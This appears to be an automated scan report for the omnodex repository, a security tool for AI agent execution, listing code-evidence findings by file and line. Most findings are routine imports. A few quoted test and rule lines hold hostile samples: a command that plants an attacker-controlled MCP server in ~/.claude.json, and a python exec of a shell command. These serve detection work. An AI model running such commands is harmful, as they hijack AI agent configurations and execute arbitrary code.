github TypeScript re-analysis due

omnodex/omnodex

github

Omnodex: Security & Observability for AI Agent Execution

maintainer
omnodex
licence
NOASSERTION
first seen
2026-07-22
last seen
2026-09-17
releases · 30d
0
short id

Drift inferred · capture-to-capture

No drift recorded — single capability capture; advisories appear once its surface changes.

capabilities 0 tools
transport stdio · http counts 0 tools · 0 res · 0 prompts permission surface via code analysis

No tools enumerated yet for this server.

skills & danger signals github-tarball
prompt-surface shipped agent-instruction files + hidden-content / dangerous-code findings — quoted from the analyzed source

analyzed commit 9ae43f3 · analyzer v33 · 16h ago

danger signals14

code evidence vHEAD · github-tarball
evidence-backed findings quoted directly from the published source artifact — not inferred

code files: 143

filesystem 44

  • fs omnodex-omnodex-9ae43f3/packages/analyzer/src/rules/community/supply-chain.ts :393 // persistence: require('fs').writeFileSync(os.homedir() + '/.claude.json', ...)
  • fs (weak) omnodex-omnodex-9ae43f3/packages/analyzer/test/rules/supply-chain.test.mjs :342 "node -e \"require('fs').writeFileSync(require('os').homedir() + '/.claude.json', JSON.stringify({mcpServers: {evil: {url: 'http://attacker.com'}}}))\""
  • fs omnodex-omnodex-9ae43f3/packages/antigravity-provider/src/antigravity-interceptor.ts :48 import { promises as fs } from "node:fs";
  • fs omnodex-omnodex-9ae43f3/packages/antigravity-provider/src/bin/antigravity-hook-shim.ts :38 import * as fs from "node:fs/promises";
  • fs (weak) omnodex-omnodex-9ae43f3/packages/antigravity-provider/test/antigravity-interceptor.test.mjs :6 import { mkdtemp, readFile, rm, writeFile, mkdir } from "node:fs/promises";
  • fs omnodex-omnodex-9ae43f3/packages/cli/bundle.config.mjs :22 import { writeFileSync, chmodSync, copyFileSync, mkdirSync } from "node:fs";
  • fs omnodex-omnodex-9ae43f3/packages/cli/src/config.ts :24 import { promises as fs } from "node:fs";
  • fs omnodex-omnodex-9ae43f3/packages/cli/src/dashboard-server.ts :20 import * as fs from "node:fs";
  • fs omnodex-omnodex-9ae43f3/packages/cli/src/index.ts :28 import { promises as fs } from "node:fs";
  • fs omnodex-omnodex-9ae43f3/packages/cli/src/launcher-template.ts :33 import { promises as fs } from "node:fs";
  • fs omnodex-omnodex-9ae43f3/packages/cli/src/registry.ts :18 import { promises as fs, readFileSync } from "node:fs";
  • fs omnodex-omnodex-9ae43f3/packages/cli/src/stream-config.ts :23 import { promises as fs } from "node:fs";
show 28 more
  • fs omnodex-omnodex-9ae43f3/packages/cli/src/update.ts :23 import { promises as fs, statSync, readFileSync } from "node:fs";
  • fs (weak) omnodex-omnodex-9ae43f3/packages/cli/test/bundle.test.mjs :18 import { promises as fs } from "node:fs";
  • fs (weak) omnodex-omnodex-9ae43f3/packages/cli/test/launcher-resolution.test.mjs :20 import { promises as fs, readFileSync } from "node:fs";
  • fs (weak) omnodex-omnodex-9ae43f3/packages/cli/test/multi-root.test.mjs :14 import { promises as fs } from "node:fs";
  • fs (weak) omnodex-omnodex-9ae43f3/packages/cli/test/pipeline.test.mjs :18 import { promises as fs } from "node:fs";
  • fs (weak) omnodex-omnodex-9ae43f3/packages/cli/test/streaming.test.mjs :20 import { promises as fs } from "node:fs";
  • fs (weak) omnodex-omnodex-9ae43f3/packages/cli/test/update-registry.test.mjs :13 import { promises as fs, rmSync } from "node:fs";
  • fs omnodex-omnodex-9ae43f3/packages/codex-provider/src/bin/codex-hook-shim.ts :34 import * as fs from "node:fs/promises";
  • fs omnodex-omnodex-9ae43f3/packages/codex-provider/src/codex-interceptor.ts :39 import { promises as fs } from "node:fs";
  • fs (weak) omnodex-omnodex-9ae43f3/packages/codex-provider/test/codex-hook-shim.integration.test.mjs :7 import { mkdtemp, rm, readdir, readFile } from "node:fs/promises";
  • fs (weak) omnodex-omnodex-9ae43f3/packages/codex-provider/test/codex-interceptor.test.mjs :6 import { mkdtemp, readFile, rm, writeFile, mkdir } from "node:fs/promises";
  • fs omnodex-omnodex-9ae43f3/packages/event-log/src/index.ts :26 import { promises as fs } from "node:fs";
  • fs (weak) omnodex-omnodex-9ae43f3/packages/event-log/test/event-log-tail.test.mjs :12 import { promises as fs } from "node:fs";
  • fs (weak) omnodex-omnodex-9ae43f3/packages/event-log/test/event-log.test.mjs :3 import { promises as fs } from "node:fs";
  • fs omnodex-omnodex-9ae43f3/packages/hooks-provider/src/bin/claude-hook-shim.ts :31 import * as fs from "node:fs/promises";
  • fs omnodex-omnodex-9ae43f3/packages/hooks-provider/src/claude-code-interceptor.ts :36 import { promises as fs } from "node:fs";
  • fs (weak) omnodex-omnodex-9ae43f3/packages/hooks-provider/test/claude-code-interceptor.test.mjs :8 import { mkdtemp, readFile, rm, writeFile, mkdir } from "node:fs/promises";
  • fs (weak) omnodex-omnodex-9ae43f3/packages/hooks-provider/test/claude-hook-shim.integration.test.mjs :10 import { mkdtemp, rm, readFile } from "node:fs/promises";
  • fs omnodex-omnodex-9ae43f3/packages/license-client/src/index.ts :21 import { readFile, writeFile, mkdir } from "node:fs/promises";
  • fs (weak) omnodex-omnodex-9ae43f3/packages/license-client/test/license-client.test.mjs :11 import { mkdtemp, rm, readFile } from "node:fs/promises";
  • fs omnodex-omnodex-9ae43f3/packages/mcp-proxy/src/config.ts :17 import { readFile } from "node:fs/promises";
  • fs omnodex-omnodex-9ae43f3/packages/mcp-proxy/src/connect-tool.ts :24 import { promises as fs } from "node:fs";
  • fs (weak) omnodex-omnodex-9ae43f3/packages/mcp-proxy/test/bin.test.mjs :9 import { mkdtemp, readdir, readFile, rm, writeFile } from "node:fs/promises";
  • fs (weak) omnodex-omnodex-9ae43f3/packages/mcp-proxy/test/config.test.mjs :6 import { mkdtemp, writeFile, rm } from "node:fs/promises";
  • fs (weak) omnodex-omnodex-9ae43f3/packages/mcp-proxy/test/connect-tool.test.mjs :9 import { mkdtemp, writeFile, mkdir, readFile, rm } from "node:fs/promises";
  • fs omnodex-omnodex-9ae43f3/packages/projection/src/sqlite-store.ts :21 import { promises as fs } from "node:fs";
  • fs (weak) omnodex-omnodex-9ae43f3/packages/projection/test/projector.test.mjs :3 import { promises as fs } from "node:fs";
  • fs omnodex-omnodex-9ae43f3/packages/sync-encryptor/src/machine-id.ts :44 const raw = await fs.readFile(configPath, "utf8");

4 more not shown — this panel samples each group; the count above is the real total.

shell / exec 9

  • shell (weak) omnodex-omnodex-9ae43f3/packages/analyzer/test/rules/threat-commands.test.mjs :91 parameters: { command: "python3 -c 'exec(\"import os; os.system(\\\"id\\\")\")" },
  • shell omnodex-omnodex-9ae43f3/packages/cli/src/launcher-template.ts :34 import { spawnSync } from "node:child_process";
  • shell omnodex-omnodex-9ae43f3/packages/cli/src/update.ts :24 import { spawn, spawnSync } from "node:child_process";
  • shell (weak) omnodex-omnodex-9ae43f3/packages/cli/test/bundle.test.mjs :17 import { spawn, spawnSync } from "node:child_process";
  • shell (weak) omnodex-omnodex-9ae43f3/packages/cli/test/launcher-resolution.test.mjs :19 import { spawnSync } from "node:child_process";
  • shell (weak) omnodex-omnodex-9ae43f3/packages/codex-provider/test/codex-hook-shim.integration.test.mjs :8 import { spawn } from "node:child_process";
  • shell (weak) omnodex-omnodex-9ae43f3/packages/hooks-provider/test/claude-code-interceptor.test.mjs :7 import { spawnSync } from "node:child_process";
  • shell (weak) omnodex-omnodex-9ae43f3/packages/hooks-provider/test/claude-hook-shim.integration.test.mjs :9 import { spawn } from "node:child_process";
  • shell (weak) omnodex-omnodex-9ae43f3/packages/mcp-proxy/test/bin.test.mjs :8 import { spawn } from "node:child_process";

network 12

  • net omnodex-omnodex-9ae43f3/demo/api-server.js :19 const http = require("node:http");
  • net omnodex-omnodex-9ae43f3/packages/cli/src/connect.ts :153 const res = await fetch(`${apiUrl}/api/v1/connect/claim`, {
  • net omnodex-omnodex-9ae43f3/packages/cli/src/dashboard-server.ts :18 import * as http from "node:http";
  • net omnodex-omnodex-9ae43f3/packages/cli/src/device-auth.ts :94 const res = await fetch(`${apiUrl}/api/v1/device/code`, {
  • net omnodex-omnodex-9ae43f3/packages/cli/src/update.ts :27 import * as https from "node:https";
  • net omnodex-omnodex-9ae43f3/packages/feature-extractor/src/transport.ts :59 const res = await fetch(url, {
  • net omnodex-omnodex-9ae43f3/packages/license-client/src/index.ts :100 const res = await fetch(`${apiBaseUrl}/api/v1/license/validate`, {
  • net (weak) omnodex-omnodex-9ae43f3/packages/license-client/test/license-client.test.mjs :10 import { createServer } from "node:http";
  • net omnodex-omnodex-9ae43f3/packages/mcp-proxy/src/connect-tool.ts :173 const res = await fetch(apiUrl + "/api/v1/connect/claim", {
  • net omnodex-omnodex-9ae43f3/packages/sync-encryptor/src/shim-push.ts :259 const res = await fetch(apiUrl + "/api/v1/sync/events", {
  • net omnodex-omnodex-9ae43f3/packages/sync-encryptor/src/streaming-transport.ts :188 const res = await fetch(url, {
  • net omnodex-omnodex-9ae43f3/packages/sync-encryptor/src/transport.ts :89 const res = await fetch(url, {

secrets 3

  • secrets omnodex-omnodex-9ae43f3/packages/cli/src/stream-config.ts :163 } else if (process.env.OMNODEX_API_TOKEN) {
  • secrets omnodex-omnodex-9ae43f3/packages/license-client/src/index.ts :138 const apiToken = config?.apiToken ?? process.env.OMNODEX_API_TOKEN ?? "";
  • secrets omnodex-omnodex-9ae43f3/packages/mcp-proxy/src/connect-tool.ts :133 let apiToken = process.env.OMNODEX_API_TOKEN ?? "";

declared dependencies 2

  • typescript@^5.5.4
  • @types/node@^24.0.0

obfuscation 1

  • dynamic require()/import() omnodex-omnodex-9ae43f3/packages/mcp-proxy/test/connect-tool.test.mjs :61 const mod = await import(`../dist/connect-tool.js?t=${Date.now()}-1`);